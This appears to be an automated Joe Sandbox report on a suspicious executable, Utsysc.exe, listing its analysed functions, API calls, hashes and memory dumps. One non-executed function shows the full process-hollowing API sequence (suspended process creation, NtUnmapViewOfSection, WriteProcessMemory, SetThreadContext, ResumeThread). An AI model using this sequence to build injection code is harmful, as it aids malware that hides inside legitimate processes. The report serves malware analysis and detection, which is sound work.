Instruction ID: a43f8eb3ed71a418fec48fdf924492d34fff49cfecdc28e12fc72aa46b29d004
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: 57D01234716A040BEF2CBBFB1C8D2747AD6E798216B188065B819C3251DD39CC95C342

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Utsysc.exePID: 7072, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	202
Total number of Limit Nodes:	4

Executed Functions

Function 00EB9A00 Relevance: 23.3, APIs: 15, Instructions: 792COMMON

Download Yara Rule

APIs

Part of subcall function 00EB8630: GetTempPathA.KERNEL32(00000104,?,4F1E7031,00000000), ref: 00EB8677

GetFileAttributesA.KERNEL32(00000000), ref: 00EB9A73

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: AttributesFilePathTemp
String ID:
API String ID: 3199926297-0
Opcode ID: ee9f2f0a652c919d8922961f1dffedff0705cc0cc7471c147bb098e978b729cb
Instruction ID: ce1d47bd11742ba38cbf6f5ff60287149d3fffefe59791b14f5cbc0a0644e6bd
Opcode Fuzzy Hash: ee9f2f0a652c919d8922961f1dffedff0705cc0cc7471c147bb098e978b729cb
Instruction Fuzzy Hash: 65620070E00248CBEF14EFA8CA497DEBBB2EB41314F249258D415773C6D7B54A85DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9F9B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00EE9F9A,?,?,?,?,?,00EEAFBD), ref: 00EE9FBD
TerminateProcess.KERNEL32(00000000,?,00EE9F9A,?,?,?,?,?,00EEAFBD), ref: 00EE9FC4
ExitProcess.KERNEL32 ref: 00EE9FD6

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4a25f45dfd5703b5ab57d63b058ddb6bc812d685b590b7f8e0744354b55b5c88
Instruction ID: ca4515d84ade04995a2323b6a936c86c7b75b3cbf00a165babed770016dba3de
Opcode Fuzzy Hash: 4a25f45dfd5703b5ab57d63b058ddb6bc812d685b590b7f8e0744354b55b5c88
Instruction Fuzzy Hash: 6FE0463110018CABCF122B55CD09A683BA8FF50341B00A410F905D6532CB35EC82EA80

Uniqueness

Uniqueness Score: -1.00%

Function 00EEEA8D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 00EEEAF8
api-ms-, xrefs: 00EEEAE4

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c8110b5e43e6aa469def18e6bc737deb3531b1bb6890b11efc28fb71a58bcc44
Instruction ID: bcf630ee479d2b2da1c279755097ba265ac9f5e99ece169308ac1e3100c65cd0
Opcode Fuzzy Hash: c8110b5e43e6aa469def18e6bc737deb3531b1bb6890b11efc28fb71a58bcc44
Instruction Fuzzy Hash: A921D271E0536CABCB315B669C81A6A3758AF01778F252220E907F7391E670EC00D5E0

Uniqueness

Uniqueness Score: -1.00%

Function 00EB54F0 Relevance: 9.3, APIs: 6, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7be4ffe2a6f5ceff4210351a660532632a6d918ae0877b079e66070da3be82
Instruction ID: a425402ddbfc6647699ed9dc126e2bcea40d555fd4c98a539d865be2bd94d2f4
Opcode Fuzzy Hash: bd7be4ffe2a6f5ceff4210351a660532632a6d918ae0877b079e66070da3be82
Instruction Fuzzy Hash: B6C1C071A0020CEFEF14DF68C945BDEBBB6FF44304F508529E915A7281D774AA84CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EB7630 Relevance: 7.9, APIs: 5, Instructions: 388
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,4F1E7031), ref: 00EB76AA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB770B
GetProcAddress.KERNEL32(00000000), ref: 00EB7712
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB77D3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB77D7

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID:
API String ID: 374719553-0
Opcode ID: 24fae31e4c78e333312c0539889703d47ed50e9d9eacaf21eb5252327e39aced
Instruction ID: f0d0d488770241ffe3a9fb68f45e66efed68bc5b76d39c56a4ce372a97ac30a1
Opcode Fuzzy Hash: 24fae31e4c78e333312c0539889703d47ed50e9d9eacaf21eb5252327e39aced
Instruction Fuzzy Hash: A3D12971E042589BDB14BB28CD577DE7BB2AB81314F94528CE499B73C2DB354E809BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00EBD520 Relevance: 1.8, APIs: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situFileModuleMtx_destroy_in_situNameOpen
String ID:
API String ID: 2062985213-0
Opcode ID: f7b8e7877c533b1f269bcdc651e10d316934bc614a0b7342af32e6b92a34b51c
Instruction ID: cb687f4a0174b42e7eec6396db05b941e70eeaf81eb91f9c08e0210c720593bf
Opcode Fuzzy Hash: f7b8e7877c533b1f269bcdc651e10d316934bc614a0b7342af32e6b92a34b51c
Instruction Fuzzy Hash: 16C1F170D042589BDF25EB68CD4ABDEBBB5AB45304F5041C8E44877382EB765F88CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EEEB54 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bf9d8d410a7799350cf98f295077e3f9fc2855fc8857758ecc282723115afb
Instruction ID: 53e5b92c312148d1f5f87bcb4ee6dbf2647b056a59b6109a72d00e1af4dcbe5e
Opcode Fuzzy Hash: 31bf9d8d410a7799350cf98f295077e3f9fc2855fc8857758ecc282723115afb
Instruction Fuzzy Hash: 4901B53770025D5B9F36CE6AEC409DA33D6EB853347169120FA15EB394DB30D801A691

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA940 Relevance: 1.5, APIs: 1, Instructions: 36
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EB9A00: CreateMutexA.KERNELBASE(00000000,00000000,00F17250), ref: 00EBA978
Part of subcall function 00EB9A00: GetLastError.KERNEL32 ref: 00EBA97E

Part of subcall function 00EBD520: GetModuleFileNameA.KERNEL32(00000000,?,00000104,4F1E7031,00000000), ref: 00EBCB7C

Part of subcall function 00EB8CB0: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00EB8CE0

Part of subcall function 00EBDD40: GetUserNameA.ADVAPI32(?,?), ref: 00EBDEAE

Part of subcall function 00ECA8F0: CreateThread.KERNEL32(00000000,00000000,00ECA7C0,00000000,00000000,00000000), ref: 00ECA906
Part of subcall function 00ECA8F0: CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 00ECA917
Part of subcall function 00ECA8F0: CreateThread.KERNEL32(00000000,00000000,00ECA8E0,00000000,00000000,00000000), ref: 00ECA928
Part of subcall function 00ECA8F0: Sleep.KERNEL32(00007530,?,00ECA983), ref: 00ECA935

InternetCloseHandle.WININET(00000000), ref: 00ECA997

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Create$NameThread$FileModule$CloseErrorHandleInternetLastMutexSleepUser
String ID:
API String ID: 502925377-0
Opcode ID: 8786b275ede47ec177b1452f5c53b7495a42b994281520632da0a725bc309f8a
Instruction ID: a5846fedc93b9b390e1a728c26e2a159681c16e6f5d722cb4a6e4f536c05bbdb
Opcode Fuzzy Hash: 8786b275ede47ec177b1452f5c53b7495a42b994281520632da0a725bc309f8a
Instruction Fuzzy Hash: 28E086619085080BDF0537FC5E5BB9F36D84F80304F542638B955B61D3FC05551185F3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EB6990 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 150
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00EB69B6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00EB6A1B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00EB6A34
GetThreadContext.KERNEL32(?,00000000), ref: 00EB6A4F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00EB6A73
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 00EB6A8E
GetProcAddress.KERNEL32(00000000), ref: 00EB6A95
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00EB6ABD
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00EB6ADE
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 00EB6B21
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 00EB6B5D
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00EB6B79
ResumeThread.KERNEL32(?,?,?,00000000), ref: 00EB6B85
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00EB6B93

Strings

ntdll.dll, xrefs: 00EB6A89
, xrefs: 00EB6A68
NtUnmapViewOfSection, xrefs: 00EB6A84

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Process$Memory$ThreadVirtualWrite$AllocContextModule$AddressCreateFileFreeHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4232606500-1522589568
Opcode ID: 1121e16fcdb2319201967c7687a0a8a36856a592643018552ef811954d3e00f2
Instruction ID: ad3e0aa9d40b57c01802b6dd19b71dceb2cd9bbe4d5abe0c4c5a6941ea7f231b
Opcode Fuzzy Hash: 1121e16fcdb2319201967c7687a0a8a36856a592643018552ef811954d3e00f2
Instruction Fuzzy Hash: 16514A71A40218EFEB219F60DC85FEAB7B8FB08701F5000A5F709E62A0D771A990DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00ED4883 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED4986
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED49D2

Part of subcall function 00ED60CD: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00ED61C0

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00ED4A3E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED4A5A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED4AAE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED4ADB
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00ED4B31

Strings

(, xrefs: 00ED4992

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: f0ce415d279bcbf6fb047acd74acdf17c8ce93e8b18a7ddcc361f057fbe57837
Instruction ID: 78d4ca4a80cfd780aab2eb96a48cbae3aede533f12da2c595189b1c62d76f39c
Opcode Fuzzy Hash: f0ce415d279bcbf6fb047acd74acdf17c8ce93e8b18a7ddcc361f057fbe57837
Instruction Fuzzy Hash: 26B18DB0A04215AFCB18CF69D991BBAB7B5FB94304F15916FE805AB391D330ED42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00ED5072 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED676C: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00ED677F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00ED5084

Part of subcall function 00ED687F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00ED68A9
Part of subcall function 00ED687F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00ED6918

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00ED51B6
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00ED5216
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00ED5222
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00ED525D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00ED527E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00ED528A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00ED5293
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00ED52AB

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction ID: 93be78a9036510d716553aa229bcb6953f712c2937f450b3b7c43a03de7985f2
Opcode Fuzzy Hash: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction Fuzzy Hash: 14812B72A00A25AFCB18DFA9C984A6DB7F1FF48304B1555AED845AB711C770AD52CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00EE26B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE26F2

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EE2758
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00EE2770
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00EE277D

Part of subcall function 00EE2220: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00EE2248
Part of subcall function 00EE2220: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00EE22E0
Part of subcall function 00EE2220: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00EE22EA
Part of subcall function 00EE2220: Concurrency::location::_Assign.LIBCMT ref: 00EE231E
Part of subcall function 00EE2220: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EE2326

Strings

3, xrefs: 00EE26DD, 00EE2733, 00EE279A, 00EE27FC, 00EE2835

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID: 3
API String ID: 2363638799-3930663615
Opcode ID: 0bc873cd471dda6e8b0b7d0c481d2887872793d75766cd5ce43615f66d932deb
Instruction ID: dde6f1c90408f7f19e1fc78af7374d13a6d207578eb0217cb1a5fb5d0d8764b5
Opcode Fuzzy Hash: 0bc873cd471dda6e8b0b7d0c481d2887872793d75766cd5ce43615f66d932deb
Instruction Fuzzy Hash: 1E51B531A00249DBCF18EF51C895BADB779EF44714F1550AEEA027B392CB30AE45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF158F Relevance: 9.2, APIs: 6, Instructions: 194fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00EF167F
_free.LIBCMT ref: 00EF174F
FindNextFileW.KERNEL32(00000000,?), ref: 00EF175D
_free.LIBCMT ref: 00EF17AB
FindClose.KERNEL32(00000000), ref: 00EF17BA
_free.LIBCMT ref: 00EF17D0

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Find_free$File$CloseFirstNext
String ID:
API String ID: 1576393127-0
Opcode ID: dc10b4800053fe2d0c39a9e6312815da33d5c97e4a7f1509659b96f987421317
Instruction ID: 646a082fde065196e89d857c034e2ccd8cf99f0abc26fcced82230619de5beb1
Opcode Fuzzy Hash: dc10b4800053fe2d0c39a9e6312815da33d5c97e4a7f1509659b96f987421317
Instruction Fuzzy Hash: 3B61E371D0515C9EDF20AF29CC99AFABBB9AB45304F1851DAE10DF3251DA309E859F10

Uniqueness

Uniqueness Score: -1.00%

Function 00EE613F Relevance: 22.7, APIs: 15, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00EE6151

Part of subcall function 00EE5F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE5F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00EE6172
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00EE617F
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00EE61CD
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00EE6254
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00EE6267
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00EE62B4

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
